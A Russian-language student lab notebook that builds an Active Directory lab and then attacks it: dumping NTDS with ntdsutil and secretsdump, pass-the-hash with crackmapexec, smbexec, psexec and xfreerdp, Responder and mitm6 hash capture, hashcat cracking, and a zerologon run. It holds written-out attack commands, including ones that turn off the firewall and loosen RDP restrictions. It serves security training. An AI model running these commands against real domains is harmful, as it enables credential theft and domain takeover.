# CYB-1_20.08.2021_Операционная система Windows и Active Directory
---
## Занятие 1
---
- [ ] Oracle Virtualbox установлен;
- [ ] Oracle Virtualbox extentions установлены;
- [ ] Windows Server 2016 (анлгийская версия) установлен;
- [ ] Windows Server 2016 (русская версия) установлен;
- [ ] Windows 10 установлен;
- [ ] Mikrotik импортирован;
- [ ] На Mikrotik настроен сетевой адаптер локальной сети;
- [ ] На Mikrotik настроен NAT.


---
## Занятие 2
---
- [ ] Статические адреса настроены на двух WinServer;
- [ ] Имена компьютеров Winserver и Win10 настроены (dc1, dc2, pc1);
- [ ] На оба WinServer установлены роли AD, DHCP, DNS;
- [ ] WinServer en сконфигурирован как основной контроллер домена hackeru.local;
- [ ] WinServer ru сконфигурирован как второстепенный контроллер домена;
- [ ] Win10 внесён в домен.







---
## Занятие 3
---
Применён скрипт newadusergroups.ps1 (созданы OU, пользователи и группы).
По итогу в домене будет такая структура объектов:


---
## Занятие 4
---
- [ ] DHCP сервер сконфигурирован на одном из контроллеров домена;
- [ ] Создана групповая политики расширенного логирования;
- [ ] Политика применена на контроллеры домена.


---
## Занятие 5
---
- [ ] Создана сетевая папка на одном из контроллеров домена;
- [ ] К сетевой папке примены настройки аудита удаления файлов;
- [ ] От имени любого пользователя, работающего на Win10, проведено удаление вложенных файлов/папок из сетевой папки;
- [ ] В журнале событий найдены события удаления.



---
## Занятие 6 - Атаки на домен.
---
- [ ] Проведён бэкап файла NTDS;
- [ ] Бэкап перекинут на Kali linux;
- [ ] Просмотрено содержимое файла с помощью secrestdump;
- [ ] Загружен .exe или .msi файл с Kali Linux на рабочий стол одного из пользователей win10;
- [ ] Удалось подключиться с Kali по RDP на Win10;
- [ ] С помощью mitm6 перехвачена аутентификация трёх пользователей домена.
### Анализ базы NTDS
Для проведения атак нам потребуются пары значений: учетная запись и NTLM hash её пароля. Получить их можно, например, из NTDS. Для демонстрации воспользуемся базовыми средствами Windows для работы с NTDS. Необходимо зайти в командную строку от имени администратора и ввести команды:
>ntdsutil
activate instance ntds
ifm
create full C:\temp
Этот набор команд активирует процесс Install From Media, позволяющий сделать копию нашего NTDS с необходимыми ветками реестра в каталоге C:\temp

Для переноса файлов воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali:
>smbclient "\\\192.168.10.201\C$" -U hackeru.local/Administrator
где 192.168.10.201 – ip адрес контроллера домена,
hackeru.local – имя домена,
Administrator – имя учетной записи с правами администратора.
После чего скопируем файлы на Kali:
>recurse ON
prompt OFF
lcd /home/kali
mget temp
где /home/kali – домашняя папка пользователя Kali linux

Для анализа дампа NTDS нужно скачать impacket. Находясь в домашней директории пользователя, выполните набор команд:
>git clone https://github.com/SecureAuthCorp/impacket
apt install python3-pip
cd impacket
pip install .
У kali должен быть выход в интернет
У четвертой команды в конце точка, это часть команды.
После установки нужно пройти из директории impacket в директорию examples (она внутри папки импакета) и выполнить следующую команду:
>python3 secretsdump.py -ntds /home/user/temp/Active\ Directory/ntds.dit -system /home/user/temp/registry/SYSTEM LOCAL
где secretsdump.py – исполняемый скрипт,
ntds.dit – анализируемый инстанс базы данных NTDS,
registry/SYSTEM – ветка реестра, с помощью которой мы можем прочитать NTDS,
LOCAL – флаг для скрипта, который говорит, что мы анализируем NTDS локально.
Внимательно следите за слешами – мы экранируем пробелы обратным слешем.

### Path-the-hash
Получив учетную запись и хэш её пароля можно выполнять атаки вида PtH.
С помощью таких атак мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля.
==Crackmapexec==
Это набор python-скриптов для тестирования Windows окружения. Использует Windows API, поэтому обнаружить довольно сложно.
Самое базовое применение – быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb:
>crackmapexec smb 192.168.10.0/24

Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки:
>crackmapexec smb 192.168.10.201 -u Administrator -H 5d273358765a86db2092511f88c93fa5 -x whoami
Где -H 5d273358765a86db2092511f88c93fa5 – это NTLM хэш учетной записи Administrator (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее).

Можно посмотреть и список сетевых папок, доступных конкретному пользователю:
>crackmapexec smb 192.168.10.201 -u Administrator -H 5d273358765a86db2092511f88c93fa5 --shares

==smbexec==
А ещё в impacket есть интересная утилита smbexec, позволяющая запустить cmd windows для удаленной передачи команд, при этом практически не оставляя следов:
>python3 smbexec.py hackeru.local/administrator@192.168.10.201 -hashes aad3b435b51404eeaad3b435b51404ee:5d273358765a86db2092511f88c93fa5

Здесь используется LM:NTLM формат хэша. Обратите внимание что команды выполняются от имени пользователя system!
==psexec==
Есть аналог – psexec
>python3 psexec.py domain/username:password@hostIP
или с использованием хэша
>python3 psexec.py hackeru.local/administrator@192.168.10.201 -hashes aad3b435b51404eeaad3b435b51404ee:5d273358765a86db2092511f88c93fa5

Для передачи файла на Win10 будем использовать WinRM (Windows Remote Management) – это специальный сервис, позволяющий администраторам получить возможность удаленного доступа и управления клиентскими и серверными ОС Windows. Устанавливаем на Kali программу evel-winrm
>gem install evil-winrm
Служба WinRM включена по умолчанию во всех версиях Windows Server, начиная с Windows Server 2012 (однако WinRM по умолчанию отключена в клиентских операционных системах, таких как Windows 10). Для активации WinRM на группе компьютеров можно воспользоваться групповой политикой. Более подробно см. [здесь.](https://winitpro.ru/index.php/2012/01/31/kak-aktivirovat-windows-remote-management-s-pomoshhyu-gruppovoj-politiki/ "Как активировать Windows Remote Management с помощью групповой политики")
Нам для активации WinRM на одном нашем компьютере Win10 достаточно выполнить команду
>winrm quickconfig -q
:::info
Здесь я столкнулся с проблемой:
Ни один из вышеперечисленных способов удаленно выполнить команду не сработал на компьютере с Win10. Видимо из-за работающего брандмауэра. Пока локально под учеткой админа не отключил его командой
>netsh advfirewall set allprofiles state off
ничего сделать не мог, все команды отваливались по таймауту, даже ping молчал как рыба об лёд :confused:
:::
После отключения брандмауэра попытки выполнить удаленные команды под пользователем Olga тоже не увенчались успехом



Неизвестно отработала ли комада в последней попытке с crackmapexec, так как перед этим я выполнил команду 'winrm quickconfig' под администратором (psexec, smbexec под администратором отлично работают). Чтобы убедиться, что служба WinRM работает я ввел комаду 'winrm quickconfig' локально на Win10.

Попытка подключиться к службе WinRM Win10 под пользователем Olga потерпела неудачу

Под учетной записью Administrator я подключился

:::info
По условию задачи пользователь, учетная запись которого используется для выполнения команд, не должен быть доменным администратором (Например, Olga). Судя по всему, для возможности удаленного выполнения команд и подключения к WinRM учетная запись Olga должна обладать повышенными привелегиями (быть членом какой(их)-то групп(ы)). Как это исправить я пока не знаю. А тем более не представляю как это сделать удаленно пока мы не можем удаленно выполнять команды :disappointed:
Дальнейшие действия производились под учетной записью Administrator.
:::
Загружаем файл на рабочий стол и запускаем его

Результат выполнения на Win10

Теперь попробуем с хешем зайти по RDP.
По умолчанию служба RDP выключена. Чтобы включить удаленный рабочий стол, нам просто нужно изменить параметр реестра fDenyTSConnections с 1 на 0 на удаленном компьютере.
Вот команда PowerShell, которую нуюно выполнить на удаленном компьютере
>*Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0*
Разрешаем подключение по RDP

После этого этого воспользуемя следующей командой для запуска RDP
>xfreerdp /d:hackeru.local /u:administrator /v:192.168.10.100 /pth:5d273358765a86db2092511f88c93fa5
при подключении по RDP может появиться такое сообщение

Это значит, что на компьтере, к которому мы пытаемся подключиться по RDP, запрещено использование режима RestrictedAdmin.
Необходимо отменить этот запрет, то есть установить значение 0 для параметра DisableRestrictedAdmin в ветке реестра "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"

соответствующая команда PowerShell выглядит так:
>*New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force*
Более подробная информация содержится [здесь](https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx "Службы удаленных рабочих столов: включить ограниченный режим администратора").
После того как запрет режима RestrictedAdmin снят

команда
>xfreerdp /d:hackeru.local /u:administrator /v:192.168.10.100 /pth:5d273358765a86db2092511f88c93fa5
успешно запускает RDP.
### Атаки на базовые протоколы Windows
#### NBT-NS & LLMNR & mDNS
Важной частью эксплуатации будет WPAD – специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-сервером для Win и таким образом осуществив атаку “человек посередине”.
NBT-NS (NetBIOS Name Service) – протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
LLMNR (Link-Local Multicast Name Resolution) – протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же – сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все).
mDNS (Multicast DNS) – суть такая же, как и у LLMNR. DNS через Мультикаст.
Все вместе технологии реализуют Zeroconf.
Основная уязвимость в этих протоколах – отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.
Например, пользователь PC1 вводит в “проводник” сетевой путь “\\computer-1”. Если PC1 не знает ничего про это имя и DNS сервер тоже не может ответить, то тогда PC1 спрашивает всю локальную сеть следующее: “кто нибудь в курсе, кто такой “computer-1” и какой у него IP?” Если мы ответим PC1 и скажем, что наш адрес – это адрес “computer-1”, то PC1 нам поверит. По итогу получим атаку вида MITM. Для того, чтобы автоматически отвечать на такие запросы, есть инструмент Responder.
Атака не пройдёт, если реальный DNS сервер сможет ответить на DNS запрос компьютера.
Запускаем Responder.
>responder -I eth0 -wFv
>
>где -I eth0 – выбор интерфейса,
-w – отравление WPAD,
-F – попробовать принудить систему использовать старые протоколы аутентификации, если возможно,
-v – вывод подробной информации (в т.ч. перехваченного хэша).

На Win10 пытаемся зайти на несуществующий ресурс

На Kali в выводе мы видим NTLNv2 аутентификацию, которую теперь можно брутфорсить через hashcat или John the ripper. В выводе будет NTLMv2 хэш, так как наш сервер не принимает kerberos аутентификацию, вынуждая win10 аутентифицироваться по чистому NTLMv2.

#### mitm6
Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютером данных по сети. Соответственно, на ПК отправляется IPv6 адрес DNS и шлюза, который является адресом злоумышленника. По итогу получаем атаку вида MITM.
DHCPv6 сервер отправляет параметры любому запросившему. При осуществлении атаки мы заворачиваем трафик всех устройств на себя, чем парализуем работу домена. Использовать атаку с осторожностью. Даже после завершения атаки настроенные параметры у ПК остаются, приходится ожидать окончания аренды адреса или вручную перезагружать сетевые адаптеры.
[Ссылка на программу](https://github.com/fox-it/mitm6), описание которой стоит прочитать от начала и до конца.
Установить можно как скачав с гитхаба (git clone ...), так и выполнив следующую команду:
>pip install mitm6
Вероятно, предварительно потребуется установить pip командой
>apt install python3-pip
Выполнение атаки. Запускаем mitm6
>mitm6.py -d hackeru.local
необходимо указывать атакуемый домен hackeru.local

Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB.
Создание своего сервера SMB. Не отключая mitm6, создадим SMB сервер:
>smbserver.py -smb2support SMB /root/SMB

На Win10 через проводник стучимся на наш домен hackeru.local тремя разными пользователями

Видим данные аутентификации (хэши) трех пользователей Gleb, Petr, Olga

Эти аутентификационные данные уже можно вскрывать с помощью hashcat или John the ripper. Это не чистый хэш пароля, а аутентификация по протоколу NTLMv2.
Пример команды для брутфорса аутентификации NTLMv2 выглядит так:

>где
-m 5600 – тип хеша (NTLMv2 аутентификация);
-a 3 – подбор по шаблону;
-?a?a?a?a?a?a?a?a – шаблон пароля из 8 символов, где в каждой позиции может быть цифра, спецсимвол или буква (как большая так и маленькая);
--status – вывод информации о ходе процесса.
Результат работы (пароль и маска закрашены):

Для защиты от mitm6 надо выполнить в PowerShell следующую команду:
>Set-NetIPInterface -AddressFamily IPv6 -InterfaceIndex $(Get-NetIPInterface -AddressFamily IPv6 | Select-Object -ExpandProperty InterfaceIndex) -RouterDiscovery Disabled -Dhcp Disabled
## Занятие 7 - Атака zerologon.
- [ ] Проведена атака zerologon;
- [ ] Просмотрено содержимое файла NTDS удалённо;
- [ ] Найдены события, подтверждающие факт компрометации домена.
Скачиваем PoC с github

Запускаем скрипт

Через установленный хэш пустого пароля компьютера контроллера домена получаем доступ ко всем хэшам

Для нормальной работы контроллера домена необходимо переустановить исходный хэш.
Забираем информацию из реестра DC1 для восстанавления исходного хэша DC1

Извлекаем исходный NT-хэш учетной записи компьютера.

Переустанавливаем исходный кэш учетной записи компьютера в домен

Проверяем.

Здесь я долго пытался понять в чем ошибка. У меня закралось подозрение, что скрипт не работает (не записывает исходный хэш) и я решил проверить с хешем от пустого пароля

Оказывается исходный хэш записался. Оставалось непонятным почему secretsdump запускается с хэшем от пустого пароля?
После перезагрузки DC1 всё встало на свои места.
Хеш пустого пароля не подходит

А исходный хеш DC1 теперь принимается

В момент проведения атаки было зафиксировано только одно событие в журнале System

:::info
Хотелось бы узнать как можно определить, что на контроллер домена была совершена атака zerologon?
:::